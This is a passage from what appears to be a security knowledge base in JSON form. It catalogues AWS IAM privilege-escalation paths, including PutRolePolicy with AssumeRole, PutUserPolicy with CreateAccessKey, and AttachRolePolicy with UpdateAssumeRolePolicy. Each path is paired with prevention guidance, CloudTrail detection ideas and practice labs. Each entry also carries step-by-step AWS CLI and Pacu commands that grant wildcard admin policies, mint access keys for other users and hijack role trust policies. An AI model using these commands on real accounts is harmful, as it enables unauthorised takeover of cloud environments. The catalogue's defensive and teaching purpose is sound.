      "modification": "This variation combines iam:PutRolePolicy with sts:AssumeRole for lateral movement to another role (requires trust policy configuration)"
    },
    "name": "iam:PutRolePolicy + sts:AssumeRole",
    "category": "principal-access",
    "services": [
      "iam",
      "sts"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PutRolePolicy",
          "resourceConstraints": "Must have permission on the target role ARN"
        },
        {
          "permission": "sts:AssumeRole",
          "resourceConstraints": "Must have permission to assume the target role, and the role must trust the attacking principal"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles that can be modified and assumed"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies to identify assumable roles"
        },
        {
          "permission": "iam:ListRolePolicies",
          "resourceConstraints": "Helpful for viewing current inline policies on the target role"
        },
        {
          "permission": "iam:GetRolePolicy",
          "resourceConstraints": "Useful for viewing inline policy details before and after modification"
        }
      ]
    },
    "description": "This is a variation of `iam:PutRolePolicy` (iam-005). This variation is needed when you have `iam:PutRolePolicy` permission on another role (not your own principal). In this scenario, you cannot directly escalate your own privileges, but you can escalate by modifying a different role and then assuming it. This requires both `iam:PutRolePolicy` on the target role AND `sts:AssumeRole` permission. Critically, the target role must also be configured with a trust policy that explicitly allows your principal to assume it. You add an inline policy with administrative permissions directly to the target role, then assume that role to gain the elevated privileges. Inline policies are embedded directly in IAM roles and are often overlooked during security reviews because they are not visible as standalone policy objects, making this privilege escalation technique less visible than managed policy attachments.",
    "prerequisites": {
      "admin": [
        "A target role must exist that you have `iam:PutRolePolicy` permission on",
        "You must have `sts:AssumeRole` permission scoped to the target role",
        "**Critical**: The target role must have a trust policy that explicitly allows your principal to assume it (e.g., your user or role ARN must be in the Principal element of the role's trust policy)"
      ],
      "lateral": [
        "A target role must exist that you have `iam:PutRolePolicy` permission on",
        "You must have `sts:AssumeRole` permission scoped to the target role",
        "**Critical**: The target role must have a trust policy that explicitly allows your principal to assume it (e.g., your user or role ARN must be in the Principal element of the role's trust policy)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam list-roles --query 'Roles[*].[RoleName,Arn]' --output table",
          "description": "List all roles to identify targets with trust policies that allow the attacking principal to assume them"
        },
        {
          "step": 2,
          "command": "aws iam get-role --role-name TARGET_ROLE",
          "description": "Check the trust policy of a specific role to verify the attacking principal can assume it"
        },
        {
          "step": 3,
          "command": "aws iam list-role-policies --role-name TARGET_ROLE",
          "description": "List current inline policies on the target role to verify existing permissions (optional)"
        },
        {
          "step": 4,
          "command": "aws iam put-role-policy \\\n  --role-name TARGET_ROLE \\\n  --policy-name AdminInlinePolicy \\\n  --policy-document '{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": \"*\",\n        \"Resource\": \"*\"\n      }\n    ]\n  }'\n",
          "description": "Create an inline policy with administrative permissions and attach it directly to the target role"
        },
        {
          "step": 5,
          "command": "sleep 15",
          "description": "Wait for the policy to propagate across AWS infrastructure (typically takes 10-15 seconds)"
        },
        {
          "step": 6,
          "command": "aws iam list-role-policies --role-name TARGET_ROLE",
          "description": "Verify the inline policy was successfully attached to the target role (optional)"
        },
        {
          "step": 7,
          "command": "aws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/TARGET_ROLE \\\n  --role-session-name privesc-session\n",
          "description": "Assume the target role to gain the elevated permissions from the inline policy"
        },
        {
          "step": 8,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 7>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 7>\nexport AWS_SESSION_TOKEN=<SessionToken from step 7>\n",
          "description": "Configure the AWS CLI to use the assumed role credentials"
        },
        {
          "step": 9,
          "command": "aws sts get-caller-identity",
          "description": "Verify the assumed role identity"
        },
        {
          "step": 10,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access by testing a privileged operation"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "run iam__enum_permissions",
          "description": "Enumerate IAM permissions and identify roles that can be modified and assumed"
        },
        {
          "step": 2,
          "command": "run iam__privesc_scan",
          "description": "Scan for IAM privilege escalation opportunities including PutRolePolicy + AssumeRole combinations"
        },
        {
          "step": 3,
          "command": "run iam__put_role_policy --role-name TARGET_ROLE --policy-name AdminInlinePolicy --policy-file admin_policy.json",
          "description": "Use Pacu to add an inline policy with admin permissions to the target role"
        },
        {
          "step": 4,
          "command": "run iam__assume_role --role-arn arn:aws:iam::ACCOUNT_ID:role/TARGET_ROLE",
          "description": "Assume the privileged role using Pacu"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the inline policy includes administrative permissions. The attacker gains whatever permissions are specified in the inline policy they create. However, even limited additional permissions may enable multi-hop attacks.\n",
    "recommendation": "To prevent this privilege escalation path:\n\n**1. Restrict inline policy management permissions:**\nLimit `iam:PutRolePolicy`, `iam:PutUserPolicy`, and `iam:PutGroupPolicy` to only trusted administrators. These permissions allow direct modification of principal permissions without the visibility of managed policies.\n\n**2. Implement least privilege for role assumption:**\nOnly grant `sts:AssumeRole` permission to principals that have a legitimate business need to assume specific roles. Use resource-level restrictions to limit which roles can be assumed:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"sts:AssumeRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificAllowedRole\"\n}\n```\n\n**3. Use SCPs to prevent inline policy creation:**\nDeploy Service Control Policies (SCPs) that deny `iam:Put*Policy` actions for sensitive roles, even if IAM permissions allow it:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Deny\",\n      \"Action\": [\n        \"iam:PutRolePolicy\",\n        \"iam:PutUserPolicy\",\n        \"iam:PutGroupPolicy\"\n      ],\n      \"Resource\": [\n        \"arn:aws:iam::*:role/SensitiveRole*\",\n        \"arn:aws:iam::*:user/PrivilegedUser*\"\n      ]\n    }\n  ]\n}\n```\n\n**4. Monitor inline policy changes:**\nConfigure AWS CloudTrail alerts for `PutRolePolicy`, `PutUserPolicy`, and `PutGroupPolicy` API calls. These are high-risk actions that should be rare and closely monitored.\n\n**5. Prefer managed policies over inline policies:**\nManaged policies are more visible in security reviews and easier to audit. Consider blocking inline policy creation entirely for production environments.\n\n**6. Implement permission boundaries:**\nUse IAM permission boundaries on roles to set the maximum permissions that can be granted, even through inline policies.\n\n**7. Regular audits:**\nPeriodically audit all roles for inline policies, especially those with sensitive trust policies. Inline policies are less visible than managed policies and may be overlooked.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-005",
        "modification": "This variation combines iam:PutRolePolicy with sts:AssumeRole for lateral movement to another role (requires trust policy configuration)"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "AWS-IAM-Privilege-Escalation - Method 12: Creating/updating an inline policy for a role",
        "url": "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
      },
      {
        "title": "IAM Vulnerable - Privesc12 (IAM-PutRolePolicy)",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "AWS IAM Privilege Escalation Techniques - Hacking the Cloud",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"
      },
      {
        "title": "Investigating Privilege Escalation Methods in AWS",
        "url": "https://bishopfox.com/blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-001",
      "iam-005",
      "iam-007",
      "iam-012",
      "iam-014",
      "iam-016"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L67"
    },
    "detectionRules": [
      {
        "platform": "CloudTrail",
        "ruleId": "PutRolePolicy-Monitoring",
        "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-putrolepolicy+sts-assumerole",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-PutRolePolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamputrolepolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "toolSupport": {
      "pmapper": true,
      "iamVulnerable": true,
      "pacu": true,
      "prowler": false
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal initiating the attack. Can be an IAM user or role with both `iam:PutRolePolicy` permission on a target role and `sts:AssumeRole` permission on that same role. The attacker uses these permissions to add an inline policy with administrative permissions to the target role, then assumes it to gain elevated privileges.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Target Role",
          "type": "principal",
          "description": "An IAM role that the starting principal can modify with inline policies and assume. The role must have a trust policy that allows the starting principal to assume it. The attacker adds an inline policy with administrative permissions directly to this role using `iam:PutRolePolicy`, which embeds the policy document within the role itself (unlike customer-managed policies which are separate resources).\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account. The attacker achieves this by first using `iam:PutRolePolicy` to add an inline policy with administrative permissions to the target role, then using `sts:AssumeRole` to assume that role and gain the elevated privileges. The assumed role credentials provide full administrative access to the AWS environment.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_role",
          "label": "iam:PutRolePolicy",
          "description": "The attacker uses `iam:PutRolePolicy` to add an inline policy with administrative permissions directly to the target role.\n\nCommand:\n```bash\naws iam put-role-policy \\\n  --role-name target-role-name \\\n  --policy-name AdminInlinePolicy \\\n  --policy-document file://admin_policy.json\n```\n\nWhere admin_policy.json contains a policy document granting full administrative access (e.g., `\"Action\": \"*\"`, `\"Resource\": \"*\"`). Unlike customer-managed policies, inline policies are embedded directly in the IAM entity (in this case, the role) and take effect immediately. The role instantly gains these elevated permissions.\n"
        },
        {
          "from": "target_role",
          "to": "admin",
          "label": "sts:AssumeRole",
          "description": "The attacker uses `sts:AssumeRole` to assume the target role, which now has administrative permissions via the newly added inline policy.\n\nCommand:\n```bash\naws sts assume-role \\\n  --role-arn \"arn:aws:iam::ACCOUNT_ID:role/target-role-name\" \\\n  --role-session-name \"privesc-session\"\n```\n\nThe API returns temporary security credentials (AccessKeyId, SecretAccessKey, SessionToken) that have full administrative access. Configure these credentials in the AWS CLI or SDK to perform administrative actions:\n\n```bash\nexport AWS_ACCESS_KEY_ID=<AccessKeyId>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey>\nexport AWS_SESSION_TOKEN=<SessionToken>\n\n# Verify administrative access\naws iam list-users\n```\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-07T04:00:34Z",
      "lastUpdated": "2026-04-27T00:57:59Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-017.yaml"
  },
  {
    "id": "iam-018",
    "parent": {
      "id": "iam-007",
      "modification": "This variation combines iam:PutUserPolicy with iam:CreateAccessKey for lateral movement to another user"
    },
    "name": "iam:PutUserPolicy + iam:CreateAccessKey",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L49",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L233"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PutUserPolicy",
          "resourceConstraints": "Must have access to add inline policies to the target user"
        },
        {
          "permission": "iam:CreateAccessKey",
          "resourceConstraints": "Must have permission to create access keys for the target user"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering available users to target"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for retrieving target user details and verifying existence"
        },
        {
          "permission": "iam:ListUserPolicies",
          "resourceConstraints": "Helpful for viewing current inline policies on the target user before and after modification"
        },
        {
          "permission": "iam:GetUserPolicy",
          "resourceConstraints": "Useful for retrieving and examining the content of existing inline policies"
        },
        {
          "permission": "iam:ListAccessKeys",
          "resourceConstraints": "Useful for checking the number of existing access keys (AWS limit is 2 per user)"
        }
      ]
    },
    "description": "This is a variation of `iam:PutUserPolicy` (iam-007). This variation is needed when you have `iam:PutUserPolicy` permission on another user (not your own principal). In this scenario, you cannot directly escalate your own privileges, but you can escalate by modifying a different user and then authenticating as that user. Since the target is a user (not a role), you need `iam:CreateAccessKey` to create credentials for authentication, rather than using `sts:AssumeRole`. You add an inline policy with administrative permissions directly to the target user, create new access keys for that user, and then authenticate using those credentials to gain the elevated privileges. Unlike managed policy attachment, inline policies are embedded directly in the user object, making them less visible in some security reviews and IAM policy management tools.",
    "prerequisites": {
      "admin": [
        "A target IAM user must exist that you have `iam:PutUserPolicy` permission on",
        "You must have `iam:CreateAccessKey` permission scoped to the target user",
        "The target user must have fewer than 2 access keys (AWS enforces a limit of 2 access keys per IAM user)"
      ],
      "lateral": [
        "A target IAM user must exist that you have `iam:PutUserPolicy` permission on",
        "You must have `iam:CreateAccessKey` permission scoped to the target user",
        "The target user must have fewer than 2 access keys (AWS enforces a limit of 2 access keys per IAM user)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Set the target user name\nTARGET_USER=\"target-user-name\"\n",
          "description": "Define the target user that will be modified and compromised"
        },
        {
          "step": 2,
          "command": "# List existing access keys for the target user\naws iam list-access-keys --user-name $TARGET_USER\n",
          "description": "Verify that the target user has fewer than 2 access keys (AWS limit). If the user already has 2 keys, you must delete one first using iam:DeleteAccessKey permission."
        },
        {
          "step": 3,
          "command": "# Create an admin policy document\ncat > admin-policy.json <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nEOF\n",
          "description": "Create a policy document with administrative permissions (all actions on all resources)"
        },
        {
          "step": 4,
          "command": "# Add the admin inline policy to the target user\naws iam put-user-policy \\\n  --user-name $TARGET_USER \\\n  --policy-name AdminEscalation \\\n  --policy-document file://admin-policy.json\n",
          "description": "Add the administrative inline policy to the target user using iam:PutUserPolicy"
        },
        {
          "step": 5,
          "command": "# Wait for IAM policy changes to propagate (15 seconds)\nsleep 15\n",
          "description": "Wait for the inline policy to propagate across AWS infrastructure"
        },
        {
          "step": 6,
          "command": "# Verify the inline policy was added\naws iam list-user-policies --user-name $TARGET_USER\n",
          "description": "Verify that the AdminEscalation inline policy is now attached to the target user"
        },
        {
          "step": 7,
          "command": "# Create new access keys for the target user\nCREDENTIALS=$(aws iam create-access-key \\\n  --user-name $TARGET_USER \\\n  --output json)\n\n# Extract the credentials\nNEW_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKey.AccessKeyId')\nNEW_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.AccessKey.SecretAccessKey')\n\necho \"New Access Key ID: $NEW_ACCESS_KEY_ID\"\necho \"New Secret Access Key: $NEW_SECRET_ACCESS_KEY\"\n",
          "description": "Create new access keys for the target user and extract the credentials"
        },
        {
          "step": 8,
          "command": "# Configure a new AWS CLI profile with the stolen credentials\naws configure set aws_access_key_id $NEW_ACCESS_KEY_ID --profile compromised-user\naws configure set aws_secret_access_key $NEW_SECRET_ACCESS_KEY --profile compromised-user\naws configure set region us-east-1 --profile compromised-user\n",
          "description": "Configure a new AWS CLI profile using the newly created access keys"
        },
        {
          "step": 9,
          "command": "# Verify administrative access using the new credentials\naws iam list-users --max-items 5 --profile compromised-user\n",
          "description": "Verify that you now have administrative access by listing IAM users with the compromised credentials"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "# Use Pacu to add an admin inline policy to the target user\nrun iam__put_user_policy --user-name target-user-name --policy-name AdminEscalation --policy-document '{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}]}'\n",
          "description": "Use Pacu to add an administrative inline policy to the target user"
        },
        {
          "step": 2,
          "command": "# Use Pacu to create access keys for the target user\nrun iam__create_access_key --user-name target-user-name\n",
          "description": "Use Pacu to create new access keys for the target user and save them for authentication"
        },
        {
          "step": 3,
          "command": "# Switch to the newly created credentials\nswap_keys\n",
          "description": "Configure Pacu to use the newly created access keys for the target user"
        }
      ]
    },
    "limitations": "The attack provides administrative access because the attacker controls the inline policy document content. Unlike iam:AttachUserPolicy (which requires choosing from existing managed policies), iam:PutUserPolicy allows the attacker to embed any policy document directly into the user, guaranteeing administrative permissions regardless of what policies exist in the environment.\n",
    "recommendation": "Restrict `iam:PutUserPolicy` and `iam:CreateAccessKey` using the principle of least privilege. These permissions should rarely be granted together on the same target user, as this combination creates a direct privilege escalation path.\n\n**Prevention strategies:**\n\n1. Restrict `iam:PutUserPolicy` to prevent cross-user inline policy modification:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PutUserPolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:user/${aws:username}\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:UserName\": \"${aws:username}\"\n    }\n  }\n}\n```\n\n2. Restrict `iam:CreateAccessKey` to prevent cross-user access key creation:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:CreateAccessKey\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:user/${aws:username}\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:UserName\": \"${aws:username}\"\n    }\n  }\n}\n```\n\n3. Use IAM permissions boundaries to limit the maximum permissions a user can have, even if administrative inline policies are added\n\n4. Separate the permissions - avoid granting both `iam:PutUserPolicy` and `iam:CreateAccessKey` to the same principal for other users\n\n5. Require MFA for sensitive inline policy operations and access key creation\n\n6. Implement regular audits of inline policies, as they can be less visible than managed policies in standard IAM reviews\n\n7. Use Service Control Policies (SCPs) to prevent the addition of overly permissive inline policies\n\n**Detection strategies:**\n\nMonitor CloudTrail for the following event patterns:\n- `PutUserPolicy` API calls where the calling principal differs from the target user\n- `CreateAccessKey` API calls where the calling principal differs from the target user\n- Sequential occurrences of `PutUserPolicy` followed by `CreateAccessKey` on the same user within a short time window\n- `PutUserPolicy` events with policy documents containing broad permissions (e.g., `\"Action\": \"*\"` or `\"Action\": \"iam:*\"`)\n- Access key creation events that follow inline policy modification events\n\nSet up CloudWatch alarms for unexpected changes to inline user policies and creation of access keys by non-self principals. Investigate any modifications to user inline policies combined with access key creation. Consider implementing automated responses to roll back suspicious inline policy changes.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-007",
        "modification": "Combines iam:PutUserPolicy with iam:CreateAccessKey for lateral movement to another user"
      },
      "ultimateOrigin": {
        "pathId": "iam-002",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation \u2013 Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "AWS IAM Privilege Escalation Methods (GitHub Repository)",
        "url": "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
      },
      {
        "title": "AWS IAM Privilege Escalation Techniques - Hacking The Cloud",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"
      },
      {
        "title": "Investigating Privilege Escalation Methods in AWS (Bishop Fox)",
        "url": "https://bishopfox.com/blog/privilege-escalation-in-aws"
      },
      {
        "title": "IAM Vulnerable - AWS IAM Privilege Escalation Playground",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      }
    ],
    "relatedPaths": [
      "iam-001",
      "iam-002",
      "iam-003",
      "iam-014",
      "iam-015"
    ],
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "ruleId": "TBD",
        "url": "https://docs.datadoghq.com/security/default_rules/"
      }
    ],
    "toolSupport": {
      "pmapper": true,
      "iamVulnerable": true,
      "pacu": true,
      "prowler": true
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-putuserpolicy+iam-createaccesskey",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-PutUserPolicy and IAM-CreateAccessKey",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal initiating the attack. Can be an IAM user or role with both `iam:PutUserPolicy` and `iam:CreateAccessKey` permissions on the target user. This principal may have minimal or no administrative permissions initially, but the combination of these two permissions creates a complete privilege escalation path.\n"
        },
        {
          "id": "target_user",
          "label": "Existing target-user",
          "type": "principal",
          "description": "The IAM user being modified and compromised. Must be a valid IAM user with fewer than 2 existing access keys. Initially, this user may have minimal or no privileges. The attacker will create an inline policy granting administrative permissions and then create new access keys for authentication.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account. The attacker achieves this by first using `iam:PutUserPolicy` to create an inline policy on the target user with administrative permissions, then using `iam:CreateAccessKey` to create new access keys for authentication. This is a deterministic outcome since the attacker controls the policy document content and can grant themselves any permissions they choose.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_user",
          "label": "iam:PutUserPolicy",
          "description": "The attacker uses `iam:PutUserPolicy` to create or update an inline policy on the target user, granting administrative permissions.\n\nCommand:\n```bash\naws iam put-user-policy \\\n  --user-name target-user-name \\\n  --policy-name AdminPolicy \\\n  --policy-document '{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}]}'\n```\n\nAfter this action, the target user has administrative permissions via an inline policy. The attacker must wait approximately 15 seconds for the IAM policy changes to propagate across AWS infrastructure.\n"
        },
        {
          "from": "target_user",
          "to": "admin",
          "label": "iam:CreateAccessKey + Authenticate",
          "description": "The attacker uses `iam:CreateAccessKey` to create new access keys for the now-privileged target user, then authenticates using those credentials.\n\nCommands:\n```bash\n# Create access keys\nCREDENTIALS=$(aws iam create-access-key \\\n  --user-name target-user-name \\\n  --output json)\n\nNEW_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKey.AccessKeyId')\nNEW_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.AccessKey.SecretAccessKey')\n\n# Configure profile with new credentials\naws configure set aws_access_key_id $NEW_ACCESS_KEY_ID --profile compromised\naws configure set aws_secret_access_key $NEW_SECRET_ACCESS_KEY --profile compromised\n\n# Use the compromised credentials\naws iam list-users --profile compromised\n```\n\nThese new access keys have full administrative permissions and can be used to perform any action in the AWS account. Unlike temporary credentials from AssumeRole, these access keys do not expire and remain valid until explicitly deactivated or deleted.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-07T04:00:34Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-018.yaml"
  },
  {
    "id": "iam-019",
    "parent": {
      "id": "iam-009",
      "modification": "This variation combines iam:AttachRolePolicy with iam:UpdateAssumeRolePolicy to both elevate a role's permissions and modify its trust policy, eliminating the need for pre-existing trust policy configuration or sts:AssumeRole permission"
    },
    "name": "iam:AttachRolePolicy + iam:UpdateAssumeRolePolicy",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L53",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L234"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:AttachRolePolicy",
          "resourceConstraints": "Must have permission to attach policies to the target role"
        },
        {
          "permission": "iam:UpdateAssumeRolePolicy",
          "resourceConstraints": "Must have permission to modify the trust policy of the target role"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to target"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Helpful for viewing current policies attached to the target role"
        }
      ]
    },
    "description": "A principal with `iam:AttachRolePolicy` and `iam:UpdateAssumeRolePolicy` can achieve privilege escalation by modifying an existing IAM role. The attacker first uses `iam:AttachRolePolicy` to attach an administrative managed policy to a target role, then uses `iam:UpdateAssumeRolePolicy` to modify the role's trust policy to allow the attacker to assume it. Once the trust policy is updated, the attacker can assume the role using `sts:AssumeRole` to gain the elevated privileges. A key aspect of this attack is that the attacker does not need pre-existing `sts:AssumeRole` permission - being explicitly named in the trust policy grants the ability to assume the role from AWS's perspective, as trust policies grant permission from the role's side rather than requiring it on the principal's side.",
    "prerequisites": {
      "admin": [
        "An IAM role must exist that you have both `iam:AttachRolePolicy` and `iam:UpdateAssumeRolePolicy` permissions on",
        "An administrative managed policy must exist in the account to attach (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "An IAM role must exist that you have both `iam:AttachRolePolicy` and `iam:UpdateAssumeRolePolicy` permissions on",
        "A managed policy with elevated permissions must exist in the account to attach"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Set the target role and policy ARNs\nTARGET_ROLE=\"target-role-name\"\nADMIN_POLICY_ARN=\"arn:aws:iam::aws:policy/AdministratorAccess\"\nACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)\n",
          "description": "Define the target role to compromise and the administrative policy to attach"
        },
        {
          "step": 2,
          "command": "# Attach the administrative policy to the target role\naws iam attach-role-policy \\\n  --role-name $TARGET_ROLE \\\n  --policy-arn $ADMIN_POLICY_ARN\n",
          "description": "Attach an administrative managed policy (AdministratorAccess) to the target role using iam:AttachRolePolicy"
        },
        {
          "step": 3,
          "command": "# Wait for policy attachment to propagate\nsleep 15\n",
          "description": "Wait for the policy attachment to propagate across AWS infrastructure (recommended 15 seconds)"
        },
        {
          "step": 4,
          "command": "# Verify the policy was attached\naws iam list-attached-role-policies --role-name $TARGET_ROLE\n",
          "description": "Verify that the AdministratorAccess policy is now attached to the target role"
        },
        {
          "step": 5,
          "command": "# Get the current principal ARN\nPRINCIPAL_ARN=$(aws sts get-caller-identity --query Arn --output text)\n\n# Create a new trust policy that includes the attacker\ncat > trust-policy.json <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"$PRINCIPAL_ARN\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    }\n  ]\n}\nEOF\n",
          "description": "Create a new trust policy document that explicitly allows the attacker to assume the role"
        },
        {
          "step": 6,
          "command": "# Update the role's trust policy\naws iam update-assume-role-policy \\\n  --role-name $TARGET_ROLE \\\n  --policy-document file://trust-policy.json\n",
